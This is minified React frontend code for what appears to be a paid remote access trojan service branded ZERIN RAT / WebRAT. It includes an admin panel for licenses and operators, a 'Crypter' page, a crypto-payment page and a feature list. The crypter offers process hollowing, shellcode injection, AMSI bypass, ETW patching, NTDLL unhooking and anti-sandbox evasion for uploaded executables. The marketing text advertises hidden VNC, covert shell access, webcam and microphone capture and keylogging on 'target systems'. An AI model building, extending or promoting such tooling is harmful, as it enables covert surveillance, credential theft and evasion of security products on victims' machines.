later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(z2,{status:C.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:yp(C.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:yp(C.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),s.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?z===C.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>he(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:re,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(lV,{role:C.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:C.license_status?s.jsx(z2,{status:C.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?yp(C.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{T(C),R("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{W(C),U(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),_&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:_.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:P,onChange:C=>R(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{onClick:()=>R(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:pe,disabled:V,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:V?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),L&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>W(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:L.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>U("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>U("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:Y,disabled:F,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:F?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>W(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function uV(){const{isAdmin:e}=is(),n=Qj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[O,_]=p.useState(""),[T,P]=p.useState(!1),R=p.useRef(null),V=p.useCallback(L=>{L.preventDefault(),P(!1);const W=L.dataTransfer.files[0];W&&i(W)},[]),$=p.useCallback(async()=>{if(!(!r||k)){S(!0),_(""),z(5);try{const L=new FormData;L.append("file",r),L.append("mode",a),L.append("target_process",l),L.append("sleep_seconds",u.toString()),L.append("anti_sandbox",f.toString()),L.append("anti_debug",h.toString()),L.append("unhook_ntdll",g.toString()),L.append("amsi_bypass",v.toString()),L.append("etw_patch",w.toString()),z(20);const W=setInterval(()=>{z(H=>Math.min(H+5,85))},2e3),B=await UE(L);clearInterval(W),z(100);const U=URL.createObjectURL(B),F=document.createElement("a");F.href=U,F.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(F),F.click(),document.body.removeChild(F),URL.revokeObjectURL(U),setTimeout(()=>z(0),2e3)}catch(L){_(L.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer ${T?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:L=>{L.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:V,onClick:()=>{var L;return(L=R.current)==null?void 0:L.click()},children:[s.jsx("input",{ref:R,type:"file",accept:".exe",className:"hidden",onChange:L=>{var B;const W=(B=L.target.files)==null?void 0:B[0];W&&i(W)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:L=>c(L.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:L=>d(Math.max(0,parseInt(L.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:L,label:W,desc:B,value:U,set:F})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${U?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:U,onChange:H=>F(H.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:W}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:B})]})]},L))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:$,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),O&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:O})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(ot,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function dV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const fV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function pV(){const{id:e}=Vo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await dV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?fV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(ot,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(ot,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(ot,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(ot,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(ot,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Ai=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 